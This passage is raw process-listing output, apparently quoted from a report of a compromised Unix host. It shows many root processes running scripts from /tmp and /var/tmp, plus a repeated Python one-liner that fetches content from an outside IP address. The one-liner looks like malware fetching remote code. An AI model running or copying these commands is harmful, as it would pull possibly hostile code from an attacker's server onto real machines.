0:01 sh /tmp/cruner > root 25714 13944 0 - ? 0:00 <defunct> > root 21873 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10070 11441 0 15:46:12 ? 0:00 bash -sh > root 19677 29261 0 15:45:38 ? 0:00 bash -sh > root 21762 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7985 4224 0 15:45:28 ? 0:00 sleep 60 > root 13551 24972 0 15:45:37 ? 0:00 bash -sh > root 29674 7925 0 15:45:48 ? 0:00 bash -sh > root 21925 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21013 19642 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5162 6531 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18433 11824 0 - ? 0:00 <defunct> > root 13855 26471 0 15:46:08 ? 0:00 sleep 60 > root 22149 23692 0 - ? 0:00 <defunct> > root 15175 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16544 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20797 26726 0 15:45:17 ? 0:00 sleep 60 > root 17384 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21860 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6364 25241 0 15:46:12 ? 0:00 bash -sh > root 5832 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8193 15411 0 15:45:20 ? 0:00 sleep 60 > root 21877 8708 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9336 4512 0 15:44:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19650 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 24112 1 0 10:17:09 ? 0:00 sh /var/tmp/cruner > root 3646 4103 0 15:45:58 ? 0:00 sleep 60 > root 25891 26117 0 15:45:13 ? 0:00 bash -sh > root 25316 20080 0 15:44:20 ? 0:00 bash -sh > root 12013 11380 0 - ? 0:00 <defunct> > root 20701 9157 0 15:45:33 ? 0:00 xargs kill -9 > root 28021 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6742 18072 0 - ? 0:00 <defunct> > root 17689 1 0 20:09:09 ? 0:00 sh /var/tmp/cruner > root 7803 15725 0 - ? 0:00 <defunct> > root 22252 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25064 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17085 10103 0 15:45:51 ? 0:00 bash -sh > root 11866 2562 0 15:44:51 ? 0:00 bash -sh > root 8664 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27657 18279 0 15:43:41 ? 0:00 bash -sh > root 17152 9132 0 15:45:42 ? 0:00 xargs kill -9 > root 12823 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9184 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4780 17820 0 - ? 0:00 <defunct> > root 20711 23829 0 15:44:58 ? 0:00 bash -sh > root 3230 24041 0 - ? 0:00 <defunct> > root 24181 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14637 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7938 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 56 27501 0 15:43:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22397 7159 0 15:45:42 ? 0:00 bash -sh > root 11168 9678 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25793 7650 0 15:46:01 ? 0:00 sleep 60 > root 26731 17611 0 15:45:39 ? 0:00 xargs kill -9 > root 12182 9440 0 15:46:08 ? 0:00 sleep 60 > root 4524 28670 0 15:45:28 ? 0:00 sleep 60 > root 4288 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 20048 23654 0 - ? 0:00 <defunct> > root 15178 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1856 3610 0 15:46:06 ? 0:00 bash -sh > root 22684 6777 0 15:46:09 ? 0:00 xargs kill -9 > root 2500 1350 0 15:45:48 ? 0:00 sleep 60 > root 24657 8016 0 - ? 0:00 <defunct> > root 23112 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 12390 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24156 27100 0 - ? 0:00 <defunct> > root 19571 12056 0 15:44:26 ? 0:00 bash -sh > root 7448 27731 0 15:45:49 ? 0:00 xargs kill -9 > root 11763 19675 0 15:44:15 ? 0:00 bash -sh > root 11808 17814 0 - ? 0:00 <defunct> > root 18206 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20799 14910 0 15:44:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23595 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18325 18211 0 15:43:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26350 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25262 19579 0 - ? 0:00 <defunct> > root 2413 2044 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11923 18178 0 15:45:36 ? 0:00 sleep 60 > root 5558 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 13308 15986 0 15:45:59 ? 0:00 xargs kill -9 > root 6697 14083 0 15:45:35 ? 0:00 sleep 60 > root 1614 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29038 3827 0 15:45:34 ? 0:00 sleep 60 > root 9626 8803 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14878 19250 0 15:43:02 ? 0:00 bash -sh > root 16117 17224 0 15:45:46 ? 0:00 bash -sh > root 20996 19569 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3275 25272 0 - ? 0:00 <defunct> > root 17684 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18361 15409 0 - ? 0:00 <defunct> > root 17786 23317 0 15:46:08 ? 0:00 bash -sh > root 6821 20282 0 15:45:25 ? 0:00 bash -sh > root 25019 1 0 01:55:24 ? 0:00 sh /tmp/cruner > root 29434 29494 0 - ? 0:00 <defunct> > root 25070 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13936 21495 0 - ? 0:00 <defunct> > root 3974 16292 0 15:45:58 ? 0:00 sh /var/tmp/cruner > root 23735 23723 0 15:43:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7569 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17706 12614 0 15:44:44 ? 0:00 bash -sh > root 6696 11753 0 - ? 0:00 <defunct> > root 17274 4450 0 15:46:00 ? 0:00 bash -sh > root 14408 28782 0 - ? 0:00 <defunct> > root 1843 26977 0 15:46:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15296 10293 0 15:45:51 ? 0:00 bash -sh > root 24688 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8032 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1234 22107 0 - ? 0:00 <defunct> > root 5150 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 12875 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22057 22041 0 - ? 0:00 <defunct> > root 4145 1637 0 15:46:11 ? 0:00 sed -e s/\/.*//g > root 28070 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25477 23165 0 15:44:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8852 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19381 17520 0 15:44:18 ? 0:00 bash -sh > root 10348 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29886 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 20391 11041 0 15:45:12 ? 0:00 sh /tmp/cruner > root 16108 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29995 9935 0 15:46:11 ? 0:00 grep :4444 > root 25450 29735 0 - ? 0:00 <defunct> > root 8515 5728 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 25112 27495 0 15:45:13 ? 0:00 sleep 60 > root 892 27969 0 15:44:33 ? 0:00 bash -sh > root 25528 14067 0 15:45:17 ? 0:00 sleep 60 > root 12055 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26791 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7882 15497 0 15:46:12 ? 0:00 bash -sh > root 13796 7372 0 15:44:57 ? 0:00 bash -sh > root 419 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 6012 17164 0 15:45:20 ? 0:00 sleep 60 > root 13444 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21795 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29894 7967 0 15:45:03 ? 0:00 bash -sh > root 3277 12584 0 15:43:08 ? 0:00 bash -sh > root 14705 28967 0 15:45:41 ? 0:00 sleep 60 > root 8647 6926 0 15:46:12 ? 0:00 bash -sh > root 10061 12012 0 15:45:10 ? 0:00 bash -sh > root 21247 5912 0 - ? 0:00 <defunct> > root 22926 21244 0 - ? 0:00 <defunct> > root 25425 25361 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29992 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19954 24307 0 15:45:17 ? 0:00 bash -sh > root 12015 25998 0 15:46:04 ? 0:00 bash -sh > root 20448 18199 0 15:46:09 ? 0:00 sleep 60 > root 5593 25885 0 15:45:44 ? 0:00 bash -sh > root 5453 5420 0 - ? 0:00 <defunct> > root 9189 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 645 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4887 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24804 24757 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5551 5542 0 15:46:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14427 21508 0 15:45:11 ? 0:00 bash -sh > root 21342 5862 0 15:43:45 ? 0:00 bash -sh > root 18695 18631 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9469 8359 0 15:45:50 ? 0:00 sh /var/tmp/cruner > root 8239 27186 0 15:45:36 ? 0:00 bash -sh > root 1602 4362 0 15:45:48 ? 0:00 bash -sh > root 7172 7162 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1891 1 0 01:01:02 ? 0:00 sh /var/tmp/cruner > root 5477 24834 0 - ? 0:00 <defunct> > root 8308 8219 0 15:43:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2033 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 950 16483 0 15:45:48 ? 0:00 bash -sh > root 1500 24004 0 15:45:35 ? 0:00 bash -sh > root 2396 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 13079 3451 0 - ? 0:00 <defunct> > root 8476 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 1738 20815 0 15:45:27 ? 0:00 sleep 60 > root 13621 5227 0 15:45:55 ? 0:00 sleep 60 > root 15921 97 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 11006 29174 0 - ? 0:00 <defunct> > root 16845 2732 0 15:45:51 ? 0:00 bash -sh > root 7722 21015 0 - ? 0:00 <defunct> > root 365 11009 0 - ? 0:00 <defunct> > root 15162 15148 0 - ? 0:00 <defunct> > root 4418 16514 0 - ? 0:00 <defunct> > root 9780 22949 0 15:46:12 ? 0:00 bash -sh > root 20745 2100 0 15:46:09 ? 0:00 sleep 60 > root 11678 27664 0 15:46:07 ? 0:00 bash -sh > root 2447 16869 0 15:45:35 ? 0:00 sleep 60 > root 10998 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25608 16420 0 15:45:23 ? 0:00 sleep 60 > root 1633 1787 0 15:44:11 ? 0:00 bash -sh > root 14198 25409 0 - ? 0:00 <defunct> > root 2188 8368 0 15:46:02 ? 0:00 sleep 60 > root 24508 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15940 19734 0 15:45:41 ? 0:00 sh /tmp/cruner > root 23064 18558 0 15:45:47 ? 0:00 xargs kill -9 > root 18525 18450 0 15:46:09 ? 0:00 sleep 60 > root 21472 6288 0 15:44:07 ? 0:00 bash -sh > root 10402 7784 0 - ? 0:00 <defunct> > root 18758 1178 0 15:45:16 ? 0:00 sleep 60 > root 24519 2959 0 15:45:27 ? 0:00 sleep 60 > root 3317 155 0 15:45:40 ? 0:00 bash -sh > root 29863 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26635 4359 0 15:45:53 ? 0:00 sh /tmp/cruner > root 10365 1 0 01:44:01 ? 0:00 sh /tmp/cruner > root 9412 1559 0 15:45:59 ? 0:00 sleep 60 > root 28012 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10917 10910 0 15:46:12 ? 0:00 basename /bin/kill > root 25676 29317 0 15:45:47 ? 0:00 xargs kill -9 > root 27284 27074 0 15:45:34 ? 0:00 sleep 60 > root 13791 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7163 5942 0 15:45:35 ? 0:00 sleep 60 > root 4211 4209 0 - ? 0:00 <defunct> > root 13289 11341 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 22187 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12614 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14538 6392 0 - ? 0:00 <defunct> > root 13929 8136 0 15:45:55 ? 0:00 bash -sh > root 1724 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5808 18730 0 15:45:24 ? 0:00 bash -sh > root 24523 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9547 13371 0 15:45:45 ? 0:00 sleep 60 > root 14622 22467 0 - ? 0:00 <defunct> > root 11034 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11973 10875 0 15:45:59 ? 0:00 bash -sh > root 2898 1630 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9739 27926 0 15:45:54 ? 0:00 bash -sh > root 20941 27975 0 15:46:09 ? 0:00 sleep 60 > root 6622 6612 0 - ? 0:00 <defunct> > root 14858 1388 0 15:45:41 ? 0:00 bash -sh > root 3036 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5990 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14280 14104 0 15:44:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5740 26952 0 15:44:34 ? 0:00 bash -sh > root 25451 11230 0 15:44:54 ? 0:00 bash -sh > root 13467 8669 0 - ? 0:00 <defunct> > root 19550 25491 0 15:45:38 ? 0:00 bash -sh > root 12763 23426 0 15:45:41 ? 0:00 sleep 60 > root 20753 20405 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13493 6749 0 - ? 0:00 <defunct> > root 12285 6222 0 - ? 0:00 <defunct> > root 12096 12081 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4644 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28953 24595 0 15:45:18 ? 0:00 sleep 60 > root 11496 25391 0 15:45:59 ? 0:00 bash -sh > root 12897 9134 0 15:44:43 ? 0:00 bash -sh > root 25672 29174 0 - ? 0:00 <defunct> > root 29610 15479 0 15:46:11 ? 0:00 sleep 60 > root 5588 27232 0 15:46:12 ? 0:00 bash -sh > root 25172 20853 0 - ? 0:00 <defunct> > root 25417 23716 0 15:45:57 ? 0:00 /bin/ksh -p /bin/kill -9 > root 9636 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11359 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15048 24412 0 15:44:52 ? 0:00 bash -sh > root 11530 28645 0 - ? 0:00 <defunct> > root 5576 5354 0 15:46:12 ? 0:00 sh /tmp/cruner > root 19754 12476 0 15:43:28 ? 0:00 bash -sh > root 20767 29884 0 15:45:17 ? 0:00 bash -sh > root 8504 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10097 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10148 14367 0 15:46:12 ? 0:00 bash -sh > root 5817 13949 0 - ? 0:00 <defunct> > root 17320 15019 0 - ? 0:00 <defunct> > root 23480 27009 0 15:45:13 ? 0:00 bash -sh > root 13015 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22811 863 0 15:45:52 ? 0:00 bash -sh > root 27668 28290 0 15:45:18 ? 0:00 sleep 60 > root 6498 28604 0 15:45:20 ? 0:00 sleep 60 > root 20062 28636 0 - ? 0:00 <defunct> > root 7258 7233 0 15:44:42 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11363 29586 0 - ? 0:00 <defunct> > root 24505 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8495 6563 0 15:45:10 ? 0:00 bash -sh > root 1146 10520 0 15:46:11 ? 0:00 bash -sh > root 1324 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27077 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5553 17647 0 15:46:06 ? 0:00 sleep 60 > root 12636 26276 0 15:45:25 ? 0:00 sleep 60 > root 23755 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29767 29764 0 15:44:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10302 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24974 20374 0 15:43:15 ? 0:00 bash -sh > root 21355 1 0 20:07:58 ? 0:00 sh /var/tmp/cruner > root 27376 18987 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28720 16448 0 - ? 0:00 <defunct> > root 23658 959 0 15:43:29 ? 0:00 bash -sh > root 3179 5304 0 15:45:54 ? 0:00 sleep 60 > root 4819 18634 0 - ? 0:00 <defunct> > root 21135 13736 0 15:44:07 ? 0:00 bash -sh > root 27192 11949 0 15:46:10 ? 0:00 awk {print $7} > root 1364 5415 0 15:45:58 ? 0:00 sleep 60 > root 4086 3891 0 - ? 0:00 <defunct> > root 13136 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18422 21338 0 - ? 0:00 <defunct> > root 10026 21896 0 15:46:07 ? 0:00 sleep 60 > root 8162 11290 0 - ? 0:00 <defunct> > root 1374 1160 0 15:46:02 ? 0:00 sleep 60 > root 21579 12875 0 15:46:09 ? 0:00 sleep 60 > root 28570 26936 0 15:45:34 ? 0:00 sleep 60 > root 18884 12157 0 15:46:09 ? 0:00 sleep 60 > root 7413 13569 0 15:45:04 ? 0:00 bash -sh > root 22419 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 10615 17645 0 15:45:28 ? 0:00 sleep 60 > root 5325 21395 0 - ? 0:00 <defunct> > root 6935 1 0 20:07:35 ? 0:00 sh /var/tmp/cruner > root 25870 26027 0 15:45:39 ? 0:00 bash -sh > root 27620 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26761 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18645 10630 0 15:45:42 ? 0:00 xargs kill -9 > root 16357 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 7558 5355 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3403 21812 0 - ? 0:00 <defunct> > root 5874 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6854 5938 0 15:46:12 ? 0:00 /bin/ksh -p /bin/kill -9 > root 3402 16298 0 15:45:54 ? 0:00 sleep 60 > root 10183 4529 0 - ? 0:00 <defunct> > root 14867 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26464 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23619 16122 0 15:43:23 ? 0:00 bash -sh > root 15384 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17302 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10655 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23848 23822 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9558 28294 0 - ? 0:00 <defunct> > root 2336 20232 0 15:45:53 ? 0:00 sleep 60 > root 13086 18588 0 - ? 0:00 <defunct> > root 15157 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7173 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23695 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26056 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 1765 20589 0 15:45:53 ? 0:00 sh /var/tmp/cruner > root 13066 19986 0 - ? 0:00 <defunct> > root 2532 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18722 7348 0 - ? 0:00 <defunct> > root 7657 14609 0 15:46:07 ? 0:00 bash -sh > root 1903 18034 0 15:45:48 ? 0:00 sleep 60 > root 12270 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18843 17892 0 - ? 0:00 <defunct> > root 5044 8390 0 15:45:40 ? 0:00 xargs kill -9 > root 1311 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15018 15014 0 15:43:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22920 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20194 11043 0 15:45:52 ? 0:00 bash -sh > root 12157 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11520 13652 0 15:43:44 ? 0:00 bash -sh > root 17932 24587 0 - ? 0:00 <defunct> > root 12161 10219 0 15:45:21 ? 0:00 sleep 60 > root 27295 59 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 3307 9405 0 - ? 0:00 <defunct> > root 10928 18424 0 15:45:59 ? 0:00 bash -sh > root 27298 4760 0 15:46:02 ? 0:00 sleep 60 > root 27510 28654 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 26944 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5336 3249 0 15:46:06 ? 0:00 sleep 60 > root 16012 13078 0 15:44:52 ? 0:00 bash -sh > root 2735 14040 0 15:46:06 ? 0:00 bash -sh > root 7312 8644 0 15:43:43 ? 0:00 bash -sh > root 28588 10021 0 15:45:08 ? 0:00 sh /tmp/cruner > root 23027 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6174 6166 0 15:46:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28537 25945 0 15:45:18 ? 0:00 sleep 60 > root 19831 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15590 12194 0 - ? 0:00 <defunct> > root 1280 5312 0 15:45:58 ? 0:00 sleep 60 > root 16050 9984 0 - ? 0:00 <defunct> > root 25811 6783 0 15:46:05 ? 0:00 sleep 60 > root 11602 26905 0 15:46:07 ? 0:00 bash -sh > root 27914 11954 0 15:45:34 ? 0:00 sleep 60 > root 15406 1 0 22:02:36 ? 0:00 sh /tmp/cruner > root 12979 21951 0 - ? 0:00 <defunct> > root 16516 19331 0 - ? 0:00 <defunct> > root 28544 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7629 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2719 14513 0 - ? 0:00 <defunct> > root 161 3916 0 15:45:34 ? 0:00 sleep 60 > root 11118 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29098 1 0 10:53:39 ? 0:00 sh /var/tmp/cruner > root 2608 19685 0 15:43:00 ? 0:00 bash -sh > root 27233 26271 0 15:46:02 ? 0:00 sh /tmp/cruner > root 3782 27384 0 15:46:11 ? 0:00 sleep 60 > root 1513 12491 0 15:45:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24555 11634 0 15:45:17 ? 0:00 sleep 60 > root 7093 29246 0 15:46:12 ? 0:00 awk {print $7} > root 11683 11496 0 15:46:07 ? 0:00 bash -sh > root 12939 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28158 13215 0 15:45:18 ? 0:00 sleep 60 > root 7524 6291 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26058 26705 0 15:46:05 ? 0:00 sleep 60 > root 3462 2354 0 15:46:06 ? 0:00 sleep 60 > root 21507 10584 0 - ? 0:00 <defunct> > root 6424 866 0 15:44:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17112 19794 0 15:44:57 ? 0:00 bash -sh > root 19390 23493 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11057 26081 0 15:46:03 ? 0:00 bash -sh > root 2637 25103 0 15:45:19 ? 0:00 sleep 60 > root 8667 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23453 247 0 15:45:43 ? 0:00 sh /tmp/cruner > root 18556 26335 0 15:45:12 ? 0:00 bash -sh > root 14142 18556 0 15:45:45 ? 0:00 xargs kill -9 > root 4464 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8451 12105 0 15:45:10 ? 0:00 bash -sh > root 22211 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 22846 29350 0 15:45:47 ? 0:00 sh /tmp/cruner > root 28131 3794 0 15:44:45 ? 0:00 bash -sh > root 16859 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14857 5929 0 15:45:25 ? 0:00 sleep 60 > root 23635 23333 0 - ? 0:00 <defunct> > root 29789 16815 0 15:45:48 ? 0:00 sh /tmp/cruner > root 26661 19655 0 15:45:18 ? 0:00 sleep 60 > root 20259 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21029 21856 0 - ? 0:00 <defunct> > root 13130 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21260 16818 0 15:46:01 ? 0:00 bash -sh > root 11949 9731 0 15:45:59 ? 0:00 bash -sh > root 27240 18149 0 15:45:47 ? 0:00 bash -sh > root 13512 27249 0 15:45:45 ? 0:00 sleep 60 > root 20374 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2723 7644 0 15:45:19 ? 0:00 sleep 60 > root 24558 2928 0 - ? 0:00 <defunct> > root 13186 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10176 28692 0 15:45:59 ? 0:00 sh /tmp/cruner > root 11223 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 1084 17948 0 - ? 0:00 <defunct> > root 22521 3001 0 15:43:28 ? 0:00 bash -sh > root 4198 25281 0 - ? 0:00 <defunct> > root 23124 1713 0 - ? 0:00 <defunct> > root 25143 107 0 15:45:13 ? 0:00 bash -sh > root 23485 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19301 18662 0 15:45:38 ? 0:00 bash -sh > root 13949 1094 0 15:45:29 ? 0:00 bash -sh > root 7791 18233 0 15:46:12 ? 0:00 sh /var/tmp/cruner > root 27329 24495 0 15:43:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10196 1328 0 15:45:15 ? 0:00 bash -sh > root 28058 5184 0 - ? 0:00 <defunct> > root 515 17238 0 15:44:11 ? 0:00 bash -sh > root 24438 21023 0 - ? 0:00 <defunct> > root 18794 20352 0 15:43:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23975 630 0 15:45:57 ? 0:00 xargs kill -9 > root 16046 1 0 18:06:05 ? 0:01 sh /var/tmp/cruner > root 19020 19727 0 15:45:42 ? 0:00 sleep 60 > root 29698 18818 0 15:45:18 ? 0:00 sleep 60 > root 8989 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11978 11624 0 15:43:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17169 16358 0 - ? 0:00 <defunct> > root 8312 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19815 13623 0 - ? 0:00 <defunct> > root 4636 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7897 20740 0 15:44:03 ? 0:00 bash -sh > root 18723 22767 0 15:44:57 ? 0:00 bash -sh > root 5844 27021 0 - ? 0:00 <defunct> > root 13328 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11776 27159 0 15:45:29 ? 0:00 sleep 60 > root 28307 20808 0 15:45:34 ? 0:00 sleep 60 > root 13503 13460 0 15:46:08 ? 0:00 basename /bin/kill > root 19046 18536 0 15:45:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20542 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28110 1 0 19:36:31 